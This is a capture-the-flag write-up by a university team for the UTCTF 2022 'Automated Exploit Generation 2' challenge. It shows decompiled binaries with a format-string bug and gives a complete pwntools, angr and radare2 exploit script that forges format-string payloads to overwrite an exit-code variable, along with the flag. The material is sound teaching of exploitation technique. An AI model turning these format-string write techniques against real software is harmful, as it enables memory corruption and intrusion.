CTF Team at the University of British Columbia

[UTCTF 2022] Automated Exploit Generation 2

13 Mar 2022 by Jason Ngo

Automated Exploit Generation 2

Challenge

No files are provided initially, only a server and port to connect to.

When we connect to the challenge, we get the following prompt:

You will be given 10 randomly generated binaries.
You have 60 seconds to solve each one.
Solve the binary by making it exit with the given exit code
Press enter when you're ready for the first binary.

If we press enter, the server responds with a hex dump of a binary and a desired exit code:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 b010 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 503b 0000 0000 0000  @.......P;......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 4000 0000 0000 4000 4000 0000 0000  @.@.....@.@.....
...
00004300: 0100 0000 0000 0000 0000 0000 0000 0000  ................


Binary should exit with code 44
You have 60 seconds to provide input:

We need to enter an exploit payload within 60 seconds. We do not get to see stdout from the vulnerable process, so no leaks are possible.

Binary should exit with code 44
You have 60 seconds to provide input: 
test
Process exited with return code 0

At the end, the challenge responds with the actual exit code of the process. If it matches the given exit code, we will immediately get the hex dump of the next binary.

Once we have exploited 10 binaries, we will be given the flag.

Mitigations

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution

Analysis

We get a different binary every time. If we decompile a few of them, we find that they seem main function:

void main(undefined8 argc, char **argv) {
    int64_t iVar1;
    undefined8 extraout_RDX;
    undefined8 uVar2;
    undefined4 uVar3;
    undefined8 *puVar4;
    int64_t in_FS_OFFSET;
    char **var_220h;
    int64_t var_214h;
    int64_t var_208h;
    undefined8 stream;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    stack0xfffffffffffffde8 = 0;
    var_208h = 0;
    puVar4 = &stream;
    for (iVar1 = 0x3e; iVar1 != 0; iVar1 = iVar1 + -1) {
        *puVar4 = 0;
        puVar4 = puVar4 + 1;
    }
    *(undefined2 *)puVar4 = 0;
    uVar2 = 0x202;
    var_214h._0_4_ = (undefined4)argc;
    sym.imp.fgets((int64_t)&var_214h + 4, 0x202, _reloc.stdin);
    sym.permute((char *)((int64_t)&var_214h + 4));
    sym.imp.printf((int64_t)&var_214h + 4);
    uVar3 = _obj.exit_code;
    sym.imp.exit(_obj.exit_code);
    sym._init();
    iVar1 = 0;
    do {
        (**(code **)(segment.LOAD3 + iVar1 * 8))(uVar3, uVar2, extraout_RDX);
        iVar1 = iVar1 + 1;
    } while (iVar1 != 1);
    return;
}

The program exits with the exit code stored in _obj.exit_code. By default, this is 0.

Notice that there is a format string vulnerability. The program reads our input into a buffer using fgets. The buffer is passed to permute, which modifies the buffer. Then, the buffer is used as the format string for printf. We can use this to write arbitrary data to any address with the %n conversion specifier.

Using the format string vulnerability, we can overwrite _obj.exit_code with the desired exit code.

However, the permute function has some differences. There are 8 permute[1-8] functions that are called in permute:

void sym.permute(char *arg1) {
    char *var_8h;
    
    sym.permute5(arg1);
    sym.permute8(arg1);
    sym.permute4(arg1);
    sym.permute7(arg1);
    sym.permute3(arg1);
    sym.permute1(arg1);
    sym.permute2(arg1);
    sym.permute6(arg1);
    return;
}

The order of these calls changes between binaries.

Each permute[1-8] performs a fairly straightforward string manipulation on the buffer:

void sym.permute1(char *arg1) {
    int64_t in_FS_OFFSET;
    char *var_228h;
    undefined8 var_218h;
    char var_210h [520];
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    for (var_218h._0_4_ = 0; (int32_t)var_218h < 0x200; var_218h._0_4_ = (int32_t)var_218h + 1) {
        var_210h[(int32_t)var_218h] = arg1[(int64_t)(0x200 - (int32_t)var_218h) + -1];
    }
    for (var_218h._4_4_ = 0; var_218h._4_4_ < 0x200; var_218h._4_4_ = var_218h._4_4_ + 1) {
        arg1[var_218h._4_4_] = var_210h[var_218h._4_4_];
    }
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        sym.imp.__stack_chk_fail();
    }
    return;
}
void sym.permute4(char *arg1) {
    int64_t in_FS_OFFSET;
    char *var_228h;
    undefined8 var_21ch;
    int32_t var_214h;
    char var_210h [520];
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    for (var_21ch._0_4_ = 0; (int32_t)var_21ch < 0x98; var_21ch._0_4_ = (int32_t)var_21ch + 1) {
        var_210h[(int32_t)var_21ch] = arg1[(int32_t)var_21ch + 0x168];
    }
    for (var_21ch._4_4_ = 0x98; var_21ch._4_4_ < 0x200; var_21ch._4_4_ = var_21ch._4_4_ + 1) {
        var_210h[var_21ch._4_4_] = arg1[(int64_t)var_21ch._4_4_ + -0x98];
    }
    for (var_214h = 0; var_214h < 0x200; var_214h = var_214h + 1) {
        arg1[var_214h] = var_210h[var_214h];
    }
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        sym.imp.__stack_chk_fail();
    }
    return;
}

The operation for a permute[1-8] function will be the same between binaries. For example, permute1 always reverses the entire buffer and permute4 swaps the start and end of the buffer.

Some of the internals for a permute[1-8] function also have minor changes. For example, the index that separates the start and end used in the swap will change between binaries.

To successfully overwrite _obj.exit_code, we need to find an input that, after being manipulated by permute, will give us the desired format string payload.

Payload Generation

The desired final payload is very easy to generate with pwntools. We can use the built-in fmtstr_payload method to create a format string that will perform the write automatically.

The buffer is at offset 8, as it is 0x10 bytes from the top of the stack, and we want to write code to ext.sym['exit_code']:

#!/usr/bin/env python3

from pwn import *

exe = context.binary = ELF('vuln')
...
io.recvuntil(b"Binary should exit with code ")
code = int(io.recvuntil(b"\n", drop=True))
fmt = fmtstr_payload(8, {exe.sym['exit_code']: code})

We can use angr to generate the input for our desired output.

#!/usr/bin/env python3

from pwn import *
from binascii import unhexlify
import angr
import claripy
import r2pipe

exe = context.binary = ELF('vuln')

r = r2pipe.open(exe.path)
r.cmd('aaa')
ret = r.cmdj('pdfj @ sym.permute')['ops'][-1]['offset']

p = angr.Project(exe.path)

payload_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x200)]
payload = claripy.Concat(*payload_chars + [claripy.BVV(b'\n')])
payload_addr = 0

s = p.factory.call_state(exe.sym['permute'], payload_addr,
        add_options=set.union(
            angr.options.unicorn,
            {
                angr.options.LAZY_SOLVES,
                angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
                angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
            }))

s.memory.store(payload_addr, payload)

sim = p.factory.simgr(s)

sim.explore(find=ret)

fmt = "%p"

if sim.found:
    sol = sim.found[0]

    payload_out = sol.memory.load(
            payload_addr,
            len(fmt) + 1
            )

    sol.add_constraints(payload_out == fmt.encode() + b'\0')

    print(sol.solver.eval(payload, cast_to=bytes))
else:
    print("no solution")

We load 0x200 symbolic bytes into memory and pass the address to permute. Once angr has run through the function, we can constrain the result to be our desired payload output and get the solver to output a concrete input string.

r2pipe is used for scripting with radare2 to extract the address of the ret instruction within permute so we can pass this to angr.

Solving seem to take less than 30 seconds per binary, well within the 60 second time limit.

Once we have the input string, we can send this back to the challenge to exploit the program.

Repeating this 10 times gives us the flag.

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host pwn.utctf.live --port 5002
from pwn import *

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'pwn.utctf.live'
port = int(args.PORT or 5002)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

from binascii import unhexlify
import angr
import claripy
import r2pipe

io = start()

io.sendlineafter(b"Press enter when you're ready for the first binary.\n", b"")

while True:
    vuln = b""

    while True:
        line = io.recvline()

        if len(line) == 1:
            break

        dump = line.split()[1:9]

        for i in dump:
            vuln += unhexlify(i)

    f = open('./vuln', 'wb')
    f.write(vuln)
    f.close()

    exe = context.binary = ELF('vuln')

    io.recvuntil(b"Binary should exit with code ")
    code = int(io.recvuntil(b"\n", drop=True))

    r = r2pipe.open(exe.path)
    r.cmd('aaa')
    ret = r.cmdj('pdfj @ sym.permute')['ops'][-1]['offset']

    p = angr.Project(exe.path)

    payload_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x200)]
    payload = claripy.Concat(*payload_chars + [claripy.BVV(b'\n')])
    payload_addr = 0

    s = p.factory.call_state(exe.sym['permute'], payload_addr,
            add_options=set.union(
                angr.options.unicorn,
                {
                    angr.options.LAZY_SOLVES,
                    angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
                    angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
                }))

    s.memory.store(payload_addr, payload)

    sim = p.factory.simgr(s)

    sim.explore(find=ret)

    fmt = fmtstr_payload(8, {exe.sym['exit_code']: code})

    payload_in = b""

    if sim.found:
        sol = sim.found[0]

        payload_out = sol.memory.load(
                payload_addr,
                len(fmt) + 1
                )

        sol.add_constraints(payload_out == fmt + b'\0')

        payload_in = sol.solver.eval(payload, cast_to=bytes)
    else:
        print("no solution")
        exit()

    io.sendafter(b"You have 60 seconds to provide input: \n", payload_in)
    io.recvline()

    nextc = io.recv(1)
    io.unrecv(nextc)

    if nextc != b'0':
        break

io.interactive()

Flag

utflag{you_mix_me_right_round_baby_right_round135799835}